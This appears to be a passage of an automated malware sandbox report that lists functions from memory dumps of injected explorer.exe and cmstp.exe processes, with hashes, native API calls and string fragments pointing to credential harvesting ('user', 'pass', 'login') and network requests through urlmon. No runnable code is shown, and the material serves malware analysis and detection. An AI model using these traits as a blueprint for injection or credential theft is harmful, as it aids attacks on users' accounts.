Opcode Fuzzy Hash: 4331b437e8e8c33b9d3042ca7a101e9875946b76dc224aa53cf86a4375d9541a
Instruction Fuzzy Hash: FE416971A18E0DDFCB98FF6890967AD73E1FF58302F50456AA80BD3240DB70C5828B86

Uniqueness

Uniqueness Score: -1.00%

Function 0817F432 Relevance: 5.1, Strings: 4, Instructions: 143COMMON

Download Yara Rule

Strings

el32, xrefs: 0817F537
.dll, xrefs: 0817F53F
h, xrefs: 0817F51F
kern, xrefs: 0817F52A

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: .dll$el32$h$kern
API String ID: 0-4264704552
Opcode ID: 9359c1e703a927bbfeba22f12881d3372b40fdd04c475320464a891c53438f4c
Instruction ID: 68133996a6479a3b84698bbf114928f64e2cb46923a162da06d98e4539424008
Opcode Fuzzy Hash: 9359c1e703a927bbfeba22f12881d3372b40fdd04c475320464a891c53438f4c
Instruction Fuzzy Hash: 45413C70608B8C8FD769DF2884883AAB7E1FF98301F144A6E959AC2265DF70C546CB81

Uniqueness

Uniqueness Score: -1.00%

Function 081860B9 Relevance: 5.1, Strings: 4, Instructions: 110COMMON

Download Yara Rule

Strings

f fr, xrefs: 0818613D
, xrefs: 08186184
Snif, xrefs: 08186154
om:, xrefs: 08186146

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: $Snif$f fr$om:
API String ID: 0-3434893486
Opcode ID: 09bcdfac33ec1e4ec0111ee2ca4a837fb2c377919df94419edd54a6c0362b305
Instruction ID: 1fdb65e58baa975e38c264d523a53763240f2094b795cd093541cf1979596de5
Opcode Fuzzy Hash: 09bcdfac33ec1e4ec0111ee2ca4a837fb2c377919df94419edd54a6c0362b305
Instruction Fuzzy Hash: 6331CE3151CB889FC71AEB28C4856DAB7D0FF94301F50491EE49AC7292EB30A54ACF43

Uniqueness

Uniqueness Score: -1.00%

Function 081860C2 Relevance: 5.1, Strings: 4, Instructions: 109COMMON

Download Yara Rule

Strings

f fr, xrefs: 0818613D
, xrefs: 08186184
Snif, xrefs: 08186154
om:, xrefs: 08186146

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: $Snif$f fr$om:
API String ID: 0-3434893486
Opcode ID: 3ff11923ba7cb27a5852b7160a0339692380a5748f6322a3f9139bc862c068a3
Instruction ID: f639367e7c958b73281a3c2d7b3c65e4bba927103b17491ea97f5d42858c30a6
Opcode Fuzzy Hash: 3ff11923ba7cb27a5852b7160a0339692380a5748f6322a3f9139bc862c068a3
Instruction Fuzzy Hash: 7631CF71518B48AFD719EB28C4856EAB7D5FF94301F40492EE49BC7352EB30A5068E43

Uniqueness

Uniqueness Score: -1.00%

Function 08181FC2 Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

.dll, xrefs: 08181FFE
me_c, xrefs: 08181FEE
hild, xrefs: 08181FF6
chro, xrefs: 08182023

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: .dll$chro$hild$me_c
API String ID: 0-3136806129
Opcode ID: b79a347c44b7e53efbef1ad5a08501038d02bf17702d136fbf8a30590be9006b
Instruction ID: 3a7c183923d69018530598deb4d878fe3e1b17e544012770a7080c03f052fd63
Opcode Fuzzy Hash: b79a347c44b7e53efbef1ad5a08501038d02bf17702d136fbf8a30590be9006b
Instruction Fuzzy Hash: 55318D74118B088FCB85FF689496BAAB7E1FF98201F84067DA84ACB354DF30C545CB52

Uniqueness

Uniqueness Score: -1.00%

Function 08181FBF Relevance: 5.1, Strings: 4, Instructions: 105COMMON

Download Yara Rule

Strings

.dll, xrefs: 08181FFE
me_c, xrefs: 08181FEE
hild, xrefs: 08181FF6
chro, xrefs: 08182023

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: .dll$chro$hild$me_c
API String ID: 0-3136806129
Opcode ID: 451ecfdc7a6dd194cc49c0618832622829ee31958d951160e0d103bd60c3dca9
Instruction ID: fe46b7427882d6a4cccab6cc1659376379688b98e9780bc72bfc1d77dcacf3f6
Opcode Fuzzy Hash: 451ecfdc7a6dd194cc49c0618832622829ee31958d951160e0d103bd60c3dca9
Instruction Fuzzy Hash: 79318B70218B088FCB94FF689496BAAB7E1FF98201F84062D984ACB354DF30C545CB52

Uniqueness

Uniqueness Score: -1.00%

Function 081848C2 Relevance: 5.1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

Strings

on.d, xrefs: 08184902
urlmon.dll, xrefs: 08184959
User-Agent: , xrefs: 08184935, 08184948
nt: , xrefs: 0818491E

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: User-Agent: $nt: $on.d$urlmon.dll
API String ID: 0-319646191
Opcode ID: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
Instruction ID: 14256a8ed512b7dfc244d730e1ff96a7f51ca185cf71bc8aeff483706660977a
Opcode Fuzzy Hash: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
Instruction Fuzzy Hash: 6C31C071A14A1C8BCB14FFA8C8857EDB7E0FF58216F40022AD45EE7340DF7486458B99

Uniqueness

Uniqueness Score: -1.00%

Function 081848BE Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

on.d, xrefs: 08184902
urlmon.dll, xrefs: 08184959
User-Agent: , xrefs: 08184935, 08184948
nt: , xrefs: 0818491E

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: User-Agent: $nt: $on.d$urlmon.dll
API String ID: 0-319646191
Opcode ID: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
Instruction ID: 86bdb83429548ab2c5ef49cd4b7ce8e8fc994eb98f6682f18d7eb97453c24262
Opcode Fuzzy Hash: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
Instruction Fuzzy Hash: 4821CE70A14A1DCBCB15FFA8C8867EDBBE0FF58216F40422AD45AE7340DF7486458B99

Uniqueness

Uniqueness Score: -1.00%

Function 08185E92 Relevance: 5.1, Strings: 4, Instructions: 87COMMON

Download Yara Rule

Strings

., xrefs: 08185F1F
t, xrefs: 08185EF4
l, xrefs: 08185F26
l, xrefs: 08185F03

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: .$l$l$t
API String ID: 0-168566397
Opcode ID: bb135833945c650cdd1fe89d13a3bf36b2a9c2ee8a1cabd4608026fce5a35201
Instruction ID: e9b13b8872a3495cfab195c8ee2a45ca6ce266553e92c7cebb83090362d89f3d
Opcode Fuzzy Hash: bb135833945c650cdd1fe89d13a3bf36b2a9c2ee8a1cabd4608026fce5a35201
Instruction Fuzzy Hash: 95215774A28A0D9BDB48FFA8C0457AEBAF1FF18315F50462E9009E3710DB7895918B84

Uniqueness

Uniqueness Score: -1.00%

Function 08185E94 Relevance: 5.1, Strings: 4, Instructions: 87COMMON

Download Yara Rule

Strings

., xrefs: 08185F1F
t, xrefs: 08185EF4
l, xrefs: 08185F26
l, xrefs: 08185F03

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: .$l$l$t
API String ID: 0-168566397
Opcode ID: 4d2417001e92a941b72e22f5172d980f9cfaeeee068a4ce0a3e94531502ff258
Instruction ID: 0055344a4a0c6b7a0d64bb941385cec269ebf7e1cd8742f88de9a1f73b832a2d
Opcode Fuzzy Hash: 4d2417001e92a941b72e22f5172d980f9cfaeeee068a4ce0a3e94531502ff258
Instruction Fuzzy Hash: 24215774A28A0D9BDB08FFA8C0457EABAF1FF18315F50462ED009E3700DB7895518B84

Uniqueness

Uniqueness Score: -1.00%

Function 08185FF2 Relevance: 5.1, Strings: 4, Instructions: 77COMMON

Download Yara Rule

Strings

auth, xrefs: 0818602F
pass, xrefs: 08186022
logi, xrefs: 0818603C
user, xrefs: 08186015

Memory Dump Source

Source File: 00000008.00000002.881078122.0000000008110000.00000040.00000001.00040000.00000000.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8110000_explorer.jbxd

Similarity

API ID:
String ID: auth$logi$pass$user
API String ID: 0-2393853802
Opcode ID: b1bb37e765f9f4b099c2fa6e409a2bcd00c7a79030895f352d0fc3307f2d087a
Instruction ID: 90f0cf2dd1ead5be9368696938ce8c046047b176cf2cf44f747e5e1327e7cfc0
Opcode Fuzzy Hash: b1bb37e765f9f4b099c2fa6e409a2bcd00c7a79030895f352d0fc3307f2d087a
Instruction Fuzzy Hash: 4021C030618B0D8BCB05EF9998856EEB7E2EF88354F044619E40AEB344D7B4E9158BC6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: cmstp.exePID: 3216, Parent PID: 1244COMMON

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	1.7%
Signature Coverage:	0%
Total number of Nodes:	591
Total number of Limit Nodes:	72

Executed Functions

Function 000AA320 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,000A4BA7,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,000A4BA7,007A002E,00000000,00000060,00000000,00000000), ref: 000AA36D

Strings

.z`, xrefs: 000AA35D, 000AA368

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: 475b9485cd9734b1bc41fdf535602a367b285c484343e64533211baa3957841c
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: C1F0BDB2200208AFCB48CF88DC85EEB77ADAF8C754F158248BA0D97241D630E811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 000AA3D0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(?,?,FFFFFFFF,?,?,?,?,?,!J,FFFFFFFF,?,bM,?,00000000), ref: 000AA415

Strings

!J, xrefs: 000AA3EC, 000AA3F8

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: FileRead
String ID: !J
API String ID: 2738559852-747486036
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: a30247ae5ba33b1ed46b3f08e5375f1f8ac4613c94c5868431253226c49408ff
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: 11F0A4B2200208AFCB18DF89DC81EEB77ADAF8C754F158258BA1D97241D630E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000AA3CA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(?,?,FFFFFFFF,?,?,?,?,?,!J,FFFFFFFF,?,bM,?,00000000), ref: 000AA415

Strings

!J, xrefs: 000AA3EC, 000AA3F8

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: FileRead
String ID: !J
API String ID: 2738559852-747486036
Opcode ID: 2e2145ff2e341c1d8fca080a0d299258ad6bca4f6bb3881c450b2421b126617c
Instruction ID: 658f4992cd855cc1aecd724bee42a0b44c2ec61aa739e9793aa49a8dd6c95622
Opcode Fuzzy Hash: 2e2145ff2e341c1d8fca080a0d299258ad6bca4f6bb3881c450b2421b126617c
Instruction Fuzzy Hash: BCF0F8B2600108AFDB04DF99DC84EEB73ADEF8D714F158619FA0DA3241D630E815CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000AA44A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtClose.NTDLL(@M,?,?,000A4D40,00000000,FFFFFFFF), ref: 000AA475

Strings

@M, xrefs: 000AA46C, 000AA474

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: Close
String ID: @M
API String ID: 3535843008-718900356
Opcode ID: 79f3a0b871518812defec16c576ec8ac01da623b4bb3b9cf6db8bc9c69869ffc
Instruction ID: dcce2112a703cca207136a537f5cd14ec8c8c72acacc687d4726c96d1a48fd7e
Opcode Fuzzy Hash: 79f3a0b871518812defec16c576ec8ac01da623b4bb3b9cf6db8bc9c69869ffc
Instruction Fuzzy Hash: 6BE08C76200204AFDB20EFA4DC85FD77B28EF49320F104068BA1C9B242D630AA008A90

Uniqueness

Uniqueness Score: -1.00%

Function 000AA450 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtClose.NTDLL(@M,?,?,000A4D40,00000000,FFFFFFFF), ref: 000AA475

Strings

@M, xrefs: 000AA46C, 000AA474

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: Close
String ID: @M
API String ID: 3535843008-718900356
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: 9f48a1c1a4170332db2fcbc85ac7d7b48469cb6b1b0d140592c5c70c00ac018c
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: 14D01776200214ABD714EBD8DC85FE77BACEF49760F1544A9BA189B282D630FA0086E0

Uniqueness

Uniqueness Score: -1.00%

Function 000AA500 Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00092D11,00002000,00003000,00000004), ref: 000AA539

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction ID: f52b4377ada8f1ad56c86a480284727d5bc631dace762f40d7406ab6d5ae597f
Opcode Fuzzy Hash: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction Fuzzy Hash: 6AF015B2200208AFCB18DF89DC81EEB77ADAF88754F118158BE0897241C630F810CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01EC00C4 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01EC00CF

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction ID: e6c77262f5ba2182d122b5874ee39bb292c5f7eee28c199429390ea98cabeb31
Opcode Fuzzy Hash: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction Fuzzy Hash: 79B01272100940C7E309D724DD06F4B7210FFC0F01F008A3EA00B81851DA38A93CC846

Uniqueness

Uniqueness Score: -1.00%

Function 01EC07AC Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01EC07B7

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction ID: cdb92b4df541c6703467cf01e2fb590a315ac15b2f911c24ec3250dccee83ae6
Opcode Fuzzy Hash: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction Fuzzy Hash: 64B01272200540C7E3099724D906B4B7310FB80F00F008D3AE04781892DB78992CD487

Uniqueness

Uniqueness Score: -1.00%

Function 01EBF9F0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01EBF9FB

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction ID: 864711eabb7dc0f9c0a00528bc7204798e3bbfe8ecaf20bba7921b9fd7ea0c89
Opcode Fuzzy Hash: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction Fuzzy Hash: B8B012B2200640C7F3199714D90AF4BB310FBD0F00F00CA3AA00781890DA3C992CC44A

Uniqueness

Uniqueness Score: -1.00%

Function 01EBF900 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01EBF90E

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction ID: 05ac91611fc184a3f88202f4b9a2f722369f22817df951cee1fa85cf63676e78
Opcode Fuzzy Hash: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction Fuzzy Hash: A2B01272605540C7F30ADB04D915B467251FBC0F00F408934E50746590D77D9E38D587

Uniqueness

Uniqueness Score: -1.00%

Function 01EBFBB8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01EBFBC3

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction ID: 98b7ab4c3374ce945d87304c272764997da5ea40185bb6170513ade09291bf69
Opcode Fuzzy Hash: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction Fuzzy Hash: 97B012721005C4C7E30D9714D906B8F7210FB80F00F00893AA40782861DB789A2CE45A

Uniqueness

Uniqueness Score: -1.00%

Function 01EBFB68 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01EBFB73

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction ID: fe3894545e6d7ff35e2d014bd1b41c27fc981d7cba2425ddd0908e3dd582fca9
Opcode Fuzzy Hash: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction Fuzzy Hash: 17B01272100544C7E3099714D906B8B7210FB80F00F008E3AA04782991DB78992DE446

Uniqueness

Uniqueness Score: -1.00%

Function 01EBFB50 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01EBFB5B

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction ID: 24e1bc86294fbd7a1654c33a96a754a721993c998c3fcb69f8e89524a52cb594
Opcode Fuzzy Hash: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction Fuzzy Hash: 54B01272201544C7E3099B14D906F8B7210FB90F00F00893EE00782851DB38D92CE447

Uniqueness

Uniqueness Score: -1.00%

Function 01EBFAE8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01EBFAF3

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
